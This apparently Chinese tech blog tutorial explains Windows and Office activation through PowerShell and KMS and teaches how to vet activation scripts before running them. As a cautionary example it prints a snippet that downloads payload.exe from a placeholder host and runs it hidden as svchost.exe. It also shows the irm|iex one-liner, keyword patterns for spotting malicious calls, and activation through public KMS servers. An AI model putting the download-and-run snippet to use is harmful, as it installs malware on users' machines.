PowerShell激活Windows与Office：安全审阅脚本的完整指南

1. 为什么我最终选择了PowerShell这条路线

1.1 从一次帮同事装机的经历说起

上个月帮部门新来的同事装开发环境，Windows 11专业版刚装好，Office 2021也装完了，结果打开Word一看，右上角赫然写着"产品未经授权"。同事一脸茫然地问我："是不是得去下个激活工具？"我当时就笑了，因为我知道他接下来大概率会去搜索引擎里翻半天，然后下载一堆来路不明的exe，运气好点弹几个广告，运气差点直接中招。

这个场景我见得太多了。几乎每个刚接触Windows生态的人，都会经历"找激活工具—下载—被杀毒软件拦截—关杀毒—中招—重装系统"这条经典链路。而实际上，Windows和Office的激活这件事，用系统自带的PowerShell就能搞定，一行命令的事，根本不需要去第三方网站下载任何东西。

这篇文章我想聊的就是这条路线：用PowerShell调用官方或可信来源的脚本完成Windows/Office激活，以及更重要的——怎么判断一个脚本是不是安全的。前者是操作，后者才是真正值钱的东西。因为网上流传的所谓"一行命令激活"，十有八九夹带了私货，你不学会验证，迟早要吃亏。

适合谁看？三类人：一是经常帮人装机的运维或IT支持；二是自己折腾电脑、不想装一堆垃圾软件的普通用户；三是想搞清楚"激活"这件事底层到底在干什么的技术爱好者。不管你是哪一类，看完至少能做到：不再盲目下载exe，知道命令里每一段在干嘛，能自己判断脚本安不安全。

1.2 激活这件事，本质上在解决什么问题

先把概念理清楚。Windows和Office的激活，本质上是向微软的授权服务器证明"我这台机器有合法的使用授权"，然后服务器返回一个凭证，系统把它存到本地，之后每次开机校验这个凭证还在不在、有没有过期。

传统的激活方式大致分几种：零售密钥（Retail Key）直接输入25位字符；OEM密钥预装在主板BIOS里；批量授权（Volume License）走KMS服务器；还有订阅制的Microsoft 365账号登录。这些方式各有各的适用场景，但共同点是——都需要跟授权服务器通信。

那为什么会有"脚本激活"这种东西？因为手动操作这些流程很繁琐：要查系统版本、要选对应的密钥、要配置KMS地址、要处理Office的不同版本……脚本的价值就是把这些步骤自动化。一个写得好的脚本，能自动识别你的系统版本、Office版本，然后走对应的流程，省去你查文档的时间。

但问题也恰恰出在这里：脚本能自动执行任意命令。你从网上随便down一个ps1文件，里面可能前20行在正经激活，后5行在偷偷给你装个计划任务、改个注册表、开个后门。你根本看不出来。所以"用脚本激活"和"用安全的脚本激活"是两码事，后者需要你具备基本的审阅能力。

1.3 为什么是PowerShell而不是别的

Windows上能跑脚本的环境不少：CMD批处理、VBScript、Python（如果装了）、WSL里的bash……为什么偏偏是PowerShell？

第一，它是系统原生的。从Windows 7 SP1开始就内置，Windows 10/11更是深度集成，你不需要额外装任何东西。CMD虽然也原生，但批处理的能力太弱，处理注册表、调用WMI、解析JSON这些都很别扭。

第二，它能直接调用.NET和COM组件。激活过程中需要操作Software Protection Platform（SPP）相关的接口，PowerShell调这些接口比批处理顺手得多。比如slmgr.vbs这个经典的激活管理脚本，本质上就是个VBScript，PowerShell可以直接调用它，也可以绕过它直接操作底层。

第三，它有执行策略（Execution Policy）这道闸。这既是麻烦也是保护。默认情况下PowerShell不允许随便运行脚本，这挡住了一部分无脑双击exe就中招的情况。当然，很多人为了图省事直接Set-ExecutionPolicy Bypass，这就把闸门拆了——后面我会专门讲这个坑。

第四，生态成熟。GitHub上有大量开源的激活脚本项目，社区维护、代码公开、可以逐行审阅。相比之下，那些打包成exe的"激活工具"，你根本不知道里面是什么。

所以结论很明确：PowerShell是Windows上做激活自动化的最优解，前提是你得会用、会看、会验证。

2. 动手之前：把基础概念和风险讲透

2.1 激活、授权、密钥，这三个词别搞混

很多人把这三个概念混着用，导致看文档时一头雾水。我用大白话拆一下：

**密钥（Product Key）**是一串25位的字符，形如XXXXX-XXXXX-XXXXX-XXXXX-XXXXX。它本身只是一张"兑换券"，不代表你已经激活了。你输入密钥，系统拿它去服务器换授权。

**授权（License）**是服务器认可你之后给你的凭证，存在本地。它规定了你能用多久、能用哪些功能。比如零售授权是永久的，KMS授权通常180天要续一次。

**激活（Activation）**是"用密钥换授权"这个动作本身。激活成功不等于永久有效，KMS激活的机器180天后要重新激活，这就是为什么有些人过段时间发现又变回未激活了。

理解这三者的区别，你才能看懂脚本在干什么。一个正经的激活脚本，流程一定是：检测当前授权状态 → 选择合适的密钥或KMS → 执行激活 → 验证结果。如果某个脚本上来就改一堆注册表、装服务、加计划任务，那就要警惕了。

2.2 执行策略：那道被无数人拆掉的闸门

PowerShell默认不允许运行未签名的脚本，这是Execution Policy在起作用。你可以用这条命令查看当前策略：

Get-ExecutionPolicy -List

输出会列出多个作用域（MachinePolicy、UserPolicy、Process、CurrentUser、LocalMachine），优先级从高到低。默认情况下LocalMachine通常是Restricted或RemoteSigned。

Restricted意味着什么脚本都不能跑；RemoteSigned意味着本地写的脚本能跑，但从网上下载的（带Zone.Identifier标记的）必须有签名才能跑。

网上大量教程教你这么干：

Set-ExecutionPolicy Bypass -Scope Process -Force

这行的意思是：只在当前这个PowerShell进程里把策略改成Bypass，进程一关就恢复。这个用法本身是合理的，因为它不改变系统全局设置，风险可控。

但很多人图省事，直接：

Set-ExecutionPolicy Bypass -Scope LocalMachine -Force

这就把整台机器的闸门永久拆了。以后任何脚本，不管从哪来的，双击就能跑。这是极其危险的操作，等于给所有恶意脚本开了绿灯。

提示：如果只是临时跑一个脚本，永远用-Scope Process，别动LocalMachine。跑完关掉窗口，策略自动恢复。

2.3 一行命令的诱惑与陷阱

"一行命令搞定激活"这个说法特别吸引人，因为它看起来简单。典型的形式是这样：

irm https://某网址/script.ps1 | iex

拆开看：irm是Invoke-RestMethod的别名，作用是下载指定URL的内容；|是管道，把下载的内容传给后面；iex是Invoke-Expression的别名，作用是把传进来的字符串当代码执行。

问题就出在iex上。它不管你传进来的是什么，直接执行。如果那个URL返回的是一段恶意代码，你的机器当场就沦陷了。而且整个过程你看不到代码内容，因为它是下载完直接执行的，中间没有给你审阅的机会。

这就是"一行命令"最大的陷阱：它用便利性换走了你的知情权。你根本不知道自己在跑什么。

那正确的做法是什么？先下载，再审阅，最后执行。三步分开：

# 第一步：下载到本地 Invoke-RestMethod -Uri "https://某网址/script.ps1" -OutFile ".\script.ps1" # 第二步：用编辑器打开看，或者用Get-Content读 Get-Content ".\script.ps1" # 第三步：确认没问题再执行 .\script.ps1

多花两分钟，但你能看清楚每一行在干嘛。这两分钟可能帮你避免一次重装系统。

2.4 那些热搜词背后的真实需求

我注意到搜索热词里有一堆相关的词：powershell -ep bypass -c "irm ... | iex"、office永久激活、windows10激活密钥、office tool plus、因为在此系统上禁止运行脚本……这些词其实反映了用户的真实困境。

因为在此系统上禁止运行脚本——这是执行策略拦截了，用户不知道怎么办，就去搜。搜到的答案十有八九是教你Set-ExecutionPolicy Bypass，然后闸门就拆了。

office tool plus——这是个正经的Office部署工具，能管理Office的安装和激活，比那些来路不明的exe靠谱得多。但它也有学习成本，很多人懒得看文档，就去找"一键激活"。

windows10激活密钥——想找免费密钥。这里得说清楚：网上公开的所谓"通用密钥"大多是KMS客户端密钥（GVLK），它们本身不能激活，只是用来配合KMS服务器的。你光有密钥没有KMS服务器，照样激活不了。

这些需求都合理，但解决路径得走对。下面我就把完整的实操流程拆开讲。

3. 完整实操：从检测到激活的每一步

3.1 第一步：摸清自己的系统底细

动手之前先搞清楚现状。打开PowerShell（普通用户权限就行，激活操作大部分不需要管理员，但改系统设置需要），先跑这几条命令。

查Windows版本和授权状态：

# 查看系统版本 Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer # 查看Windows激活状态 slmgr.vbs /dli

slmgr.vbs /dli会弹出一个窗口，显示当前授权的部分信息。想看更详细的用/dlv：

slmgr.vbs /dlv

输出里重点看几个字段：Product Key Channel（授权渠道，Retail/OEM/Volume）、License Status（授权状态，Licensed/Notification/Unlicensed）、Remaining Windows rearm count（剩余重置次数）。

查Office版本和激活状态，稍微麻烦点，因为Office的激活信息不在系统层面，得看安装目录：

# 找到Office安装路径下的ospp.vbs Get-ChildItem "C:\Program Files\Microsoft Office" -Recurse -Filter "ospp.vbs" -ErrorAction SilentlyContinue Get-ChildItem "C:\Program Files (x86)\Microsoft Office" -Recurse -Filter "ospp.vbs" -ErrorAction SilentlyContinue

找到ospp.vbs后，用它查状态：

cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus

输出会列出每个Office产品的授权状态、密钥后五位、KMS服务器地址（如果是KMS激活）。

注意：ospp.vbs的路径随Office版本变化，Office 2016/2019/2021通常是Office16目录，更早的版本可能是Office15或Office14。找不到就用上面的Get-ChildItem递归搜。

3.2 第二步：理解脚本激活的三种主流路径

摸清底细后，你得知道脚本会走哪条路。主流就三种：

路径一：数字授权（Digital License）。这是Windows 10/11的机制，微软把授权跟你的硬件指纹绑定，存在服务器端。你之前如果在这台机器上激活过正版，重装后联网自动就激活了，不需要密钥。脚本能做的是触发这个检查流程。

路径二：KMS激活。KMS是微软给企业用的批量激活机制。原理是：客户端向KMS服务器发请求，服务器验证后返回一个180天的授权，到期前客户端会自动续。脚本要做的是配置KMS服务器地址、装对应的GVLK密钥、触发激活。

路径三：MAK密钥。Multiple Activation Key，一次性激活，激活次数有限。这种一般不用脚本，手动输入就行。

网上流传的脚本，绝大多数走的是路径二（KMS）。因为KMS机制允许自建服务器，所以有人搭了公共KMS服务器供大家用。但这里有个关键问题：公共KMS服务器的稳定性和安全性都无法保证。服务器随时可能关停，你的激活就失效了；更糟的是，如果服务器被恶意控制，可能下发有问题的授权。

所以我的建议是：如果你要走KMS路线，优先用自己可控的KMS服务器（比如公司内网的），或者用那些开源、代码透明、社区活跃的脚本项目，至少能看清楚它在连哪个服务器。

3.3 第三步：一个可审阅的激活脚本长什么样

我不打算给你一个"复制粘贴就能用"的脚本，因为那样你就失去了审阅的机会。我要做的是拆解一个正经脚本应该包含哪些部分，你拿着这个框架去对照网上的脚本，就能判断靠不靠谱。

一个结构清晰的激活脚本，通常包含这几个模块：

模块一：环境检测。开头先判断当前是不是管理员权限、系统版本是什么、Office装没装。

# 检查管理员权限 $isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "需要管理员权限，请以管理员身份运行" exit 1 } # 检查系统版本 $osVersion = [System.Environment]::OSVersion.Version Write-Host "当前系统版本: $osVersion"

模块二：参数定义。把KMS服务器地址、端口、要用的密钥都定义成变量，方便修改和审阅。

$KmsServer = "kms.example.com" $KmsPort = 1688 $WindowsGvlk = "W269N-WFGWX-YVC9B-4J6C9-T83GX" # 这是公开的GVLK，不是私钥

模块三：执行激活。调用slmgr.vbs或ospp.vbs完成实际操作。

# 设置KMS服务器 cscript //nologo C:\Windows\System32\slmgr.vbs /skms "$KmsServer`:$KmsPort" # 安装GVLK密钥 cscript //nologo C:\Windows\System32\slmgr.vbs /ipk $WindowsGvlk # 触发激活 cscript //nologo C:\Windows\System32\slmgr.vbs /ato

模块四：结果验证。激活完检查一下状态，别跑完就完事。

$status = cscript //nologo C:\Windows\System32\slmgr.vbs /dli | Out-String if ($status -match "Licensed") { Write-Host "激活成功" -ForegroundColor Green } else { Write-Host "激活失败，请检查KMS服务器连通性" -ForegroundColor Red }

对照这个框架，你去看网上的脚本。如果它没有环境检测、KMS地址写死在奇怪的地方、夹带了跟激活无关的操作（比如改hosts、装服务、加计划任务），那就直接扔掉。

3.4 第四步：Office激活的差异化处理

Office的激活比Windows麻烦，因为版本多、安装路径不固定。核心工具是ospp.vbs，它支持的参数和slmgr.vbs类似：

# 设置KMS服务器 cscript //nologo "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /sethst:kms.example.com # 设置端口 cscript //nologo "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /setprt:1688 # 安装GVLK cscript //nologo "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /inpkey:XXXXX-XXXXX-XXXXX-XXXXX-XXXXX # 激活 cscript //nologo "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /act

难点在于找到正确的GVLK。Office不同版本（2016/2019/2021/365）对应的GVLK不一样，用错了激活不了。这些密钥微软是公开的，在官方文档里能查到，属于"批量授权客户密钥"，本身不是秘密。

提示：如果你不确定该用哪个GVLK，可以用ospp.vbs /dstatus看当前装的是什么版本，然后去微软官方文档查对应的密钥。别用网上随便搜来的，有些是过期的。

3.5 第五步：验证激活结果，别只看表面

激活跑完，很多人看一眼"已激活"就完事了。但KMS激活有个坑：它显示激活成功，不代表真的连上了服务器。有时候是本地缓存了旧的授权状态。

真正的验证方法是看剩余天数：

cscript //nologo C:\Windows\System32\slmgr.vbs /xpr

这条命令会显示授权到期时间。KMS激活的正常结果是"批量授权将在180天后过期"，如果显示"永久激活"，那可能是数字授权或零售授权，不是KMS。

Office同理：

cscript //nologo "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus

看输出里的LICENSE STATUS字段，正常应该是LICENSED。如果是OOB_GRACE或NOTIFICATIONS，说明没激活成功。

4. 脚本安全验证：这才是最值钱的部分

4.1 拿到一个脚本，先做这五件事

假设你从某个地方拿到一个ps1脚本，别急着跑。按下面五步走一遍。

第一件：看文件来源。是GitHub上的开源项目，还是某个网盘里的压缩包？开源项目的代码是公开的，社区会审阅，相对可信。网盘里的东西，来源不明，风险高。

第二件：看文件大小和行数。一个正经的激活脚本，通常几十到几百行。如果只有几行，可能是irm | iex的变体，看不到实际内容；如果几千行，可能夹带了大量无关代码。

# 看行数 (Get-Content .\script.ps1).Count # 看文件哈希，方便跟官方对比 Get-FileHash .\script.ps1 -Algorithm SHA256

第三件：搜敏感关键词。用Select-String搜一遍，看有没有可疑操作：

Select-String -Path .\script.ps1 -Pattern "Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Start-Process|New-Service|Register-ScheduledTask|Set-ItemProperty.*Run|Add-MpPreference|Set-MpPreference"

这些关键词分别对应：下载文件、执行进程、装服务、加计划任务、改自启动、改杀毒设置。如果脚本里出现了跟激活无关的这类操作，就要高度警惕。

第四件：看网络请求。脚本要连哪些地址？正经的激活脚本只会连KMS服务器（通常是内网地址或已知的公共KMS）。如果它连了一堆奇怪的域名，直接扔掉。

Select-String -Path .\script.ps1 -Pattern "https?://[^\s`"']+"

第五件：看权限操作。脚本有没有改注册表、改hosts、改防火墙规则？激活本身不需要这些。如果它动了，问清楚为什么。

Select-String -Path .\script.ps1 -Pattern "reg add|reg delete|New-ItemProperty|Remove-ItemProperty|hosts|netsh|firewall"

4.2 一个真实的审阅案例

我拿一个网上流传的"一键激活"脚本举例（已脱敏）。打开一看，前30行确实是正经的激活逻辑，检测系统、设KMS、装密钥。但翻到第45行，出现了这么一段：

# 可疑片段 $url = "http://某地址/payload.exe" Invoke-WebRequest -Uri $url -OutFile "$env:TEMP\svchost.exe" Start-Process "$env:TEMP\svchost.exe" -WindowStyle Hidden

这段跟激活毫无关系。它下载了一个exe，伪装成svchost.exe（系统进程名），然后隐藏窗口运行。这就是典型的夹带私货。如果你直接irm | iex，根本看不到这段，机器就中招了。

所以审阅的价值就在这里。多花两分钟看一遍，能救命。

4.3 沙箱验证：不确定就跑在隔离环境里

如果你审阅完还是拿不准，或者脚本比较复杂看不透，那就上沙箱。Windows自带的Windows Sandbox是个好选择（需要专业版或企业版）。

开启方法：控制面板 → 程序 → 启用或关闭Windows功能 → 勾选"Windows沙盒" → 重启。

然后在沙盒里跑脚本，观察它的行为。沙盒是隔离的，就算脚本有问题，关掉沙盒一切归零，不影响主机。

没有沙盒的话，虚拟机也行。VirtualBox、VMware都行，装个干净的Windows，快照一下，跑脚本，看行为，有问题就回滚快照。

注意：沙箱里跑激活脚本，激活的是沙箱那个虚拟环境，不会影响你的主机。所以沙箱主要用来观察脚本行为，不是用来真正激活的。

4.4 常见恶意脚本的特征清单

我把见过的恶意脚本特征整理成一张表，你对照着看：

看到右边那列的特征，基本可以判定是恶意脚本。

4.5 执行策略的正确用法

回到执行策略这个话题。审阅完脚本，确认安全了，怎么跑？

推荐做法：用-Scope Process临时放开，跑完自动恢复。

# 在当前进程临时放开 Set-ExecutionPolicy Bypass -Scope Process -Force # 跑脚本 .\script.ps1 # 关掉窗口，策略自动恢复

或者更精细的做法：用Unblock-File解除单个文件的下载标记，然后正常跑。

# 解除单个文件的阻止标记 Unblock-File .\script.ps1 # 如果当前策略是RemoteSigned，解除标记后就能跑了 .\script.ps1

绝对不要做的：Set-ExecutionPolicy Bypass -Scope LocalMachine。这是永久性拆闸，后患无穷。

如果你确实需要长期跑某些脚本，更好的做法是给脚本签名。用New-SelfSignedCertificate生成证书，Set-AuthenticodeSignature给脚本签名，然后把证书装到受信任的发布者里。这样脚本能跑，但其他未签名的脚本还是被拦着。

5. 踩过的坑和常见问题速查

5.1 激活失败？先查这五个地方

激活失败是家常便饭，别慌。按顺序排查：

第一，网络连通性。KMS激活需要能连上KMS服务器的1688端口。先测：

Test-NetConnection -ComputerName kms.example.com -Port 1688

如果TcpTestSucceeded是False，说明网络不通，检查防火墙、代理设置。

第二，系统时间。KMS验证对时间敏感，系统时间偏差超过一定范围会失败。检查：

Get-Date w32tm /query /status

时间不对就同步一下：w32tm /resync。

第三，GVLK密钥对不对。用错了密钥，激活肯定失败。用slmgr /dlv看Product Key Channel，确认是Volume渠道，然后用对应的GVLK。

第四，残留的旧授权。之前激活过别的渠道，残留信息会干扰。清理一下：

# 清除旧密钥 cscript //nologo C:\Windows\System32\slmgr.vbs /upk # 清除KMS服务器设置 cscript //nologo C:\Windows\System32\slmgr.vbs /ckms # 重置授权状态 cscript //nologo C:\Windows\System32\slmgr.vbs /rearm

/rearm会重置授权状态，但次数有限（通常3次），别滥用。

第五，Office的路径问题。ospp.vbs路径不对，命令就跑不起来。用Get-ChildItem递归搜，确认路径。

5.2 那些年我踩过的坑

坑一：以为激活了就一劳永逸。KMS激活是180天有效期，到期前7天系统会自动尝试续期。如果续期时连不上KMS服务器，就会掉激活。所以用公共KMS服务器的，掉激活是常态，别惊讶。

坑二：在域环境里乱改KMS设置。公司电脑通常已经配置了内网KMS，你手动改成别的服务器，可能违反公司策略，也可能导致后续无法自动续期。域环境里动手前先问IT。

坑三：用irm | iex跑来源不明的脚本。这个坑我强调一百遍都不为过。便利性是有代价的，代价就是你的机器安全。

坑四：Set-ExecutionPolicy Bypass改全局。改完当时爽，后面任何脚本都能跑，包括你从邮件附件里手滑点开的那个。

坑五：忽略Office的多版本共存。一台机器上装了Office 2016和2019，ospp.vbs可能只认其中一个。激活前先用/dstatus看清楚有几个产品。

5.3 常见问题速查表

5.4 关于"永久激活"的真相

搜索热词里有"office永久激活"、"windows10激活密钥"，我得说句实话：真正的永久激活只有两种途径——零售授权（花钱买）和数字授权（之前买过正版，硬件绑定）。KMS激活本质上是180天一轮的，不存在"永久"。

网上那些号称"永久激活"的脚本，要么是给你装了个自动续期的计划任务（这本身就是可疑操作），要么是改了系统文件伪造激活状态（更危险，可能导致系统更新失败）。看到"永久"两个字，先打个问号。

5.5 一个实用的自检脚本

最后给你一段自检脚本，用来快速查看当前Windows和Office的激活状态。这段代码你可以直接看懂，没有任何隐藏操作：

# Windows激活状态 Write-Host "===== Windows 激活状态 =====" -ForegroundColor Cyan $winStatus = cscript //nologo C:\Windows\System32\slmgr.vbs /dli | Out-String Write-Host $winStatus # 查找Office的ospp.vbs Write-Host "===== Office 激活状态 =====" -ForegroundColor Cyan $osppPaths = @() $osppPaths += Get-ChildItem "C:\Program Files\Microsoft Office" -Recurse -Filter "ospp.vbs" -ErrorAction SilentlyContinue $osppPaths += Get-ChildItem "C:\Program Files (x86)\Microsoft Office" -Recurse -Filter "ospp.vbs" -ErrorAction SilentlyContinue if ($osppPaths.Count -eq 0) { Write-Host "未找到Office安装" -ForegroundColor Yellow } else { foreach ($ospp in $osppPaths) { Write-Host "`n检查: $($ospp.FullName)" -ForegroundColor Green cscript //nologo $ospp.FullName /dstatus } }

这段脚本只做读取，不做任何修改，跑起来绝对安全。你可以拿它当模板，理解PowerShell怎么跟slmgr.vbs和ospp.vbs交互。

6. 我的个人经验和几点建议

折腾激活这件事这么多年，我最大的体会是：技术本身不难，难的是判断力。命令就那么几条，slmgr和ospp的参数翻来覆去就那些，但面对网上铺天盖地的"一键工具"、"永久激活"，能不能忍住不点，能不能多花两分钟审阅，这才是分水岭。

我自己的习惯是：任何要在我机器上跑的脚本，我必须能看懂每一行。看不懂的，要么去学，要么不用。这个习惯帮我避开了无数次坑。有一次同事发来一个"超好用的激活脚本"，我打开一看，前面正常，中间夹了一段从某地址下载dll并注册的代码。我问他哪来的，他说群里发的。这种就是典型的钓鱼。

另一个建议是：优先用官方或开源的工具。微软官方的slmgr.vbs、ospp.vbs、Office Deployment Tool，都是正经工具，学会用它们，比找一百个"一键工具"都强。开源社区里那些star多、更新频繁、issue响应积极的激活脚本项目，代码公开可审，也比来路不明的exe靠谱。

最后说个实际的：如果你只是偶尔装个机，用KMS激活图个方便，那没问题，但心里要清楚这是临时方案，180天后可能失效。如果是长期使用的生产环境，老老实实买授权，省心省事，也不用担心哪天掉激活影响工作。技术手段能解决一时的问题，但解决不了根本的合规问题，这个账得算清楚。

至于那些搜索热词里的pycharm激活、navicat激活、typora激活、finalshell激活，思路其实是一样的：优先找官方渠道，其次找开源替代，实在要用第三方工具，务必审阅代码。工具会变，但"先审阅再执行"这个原则不会变。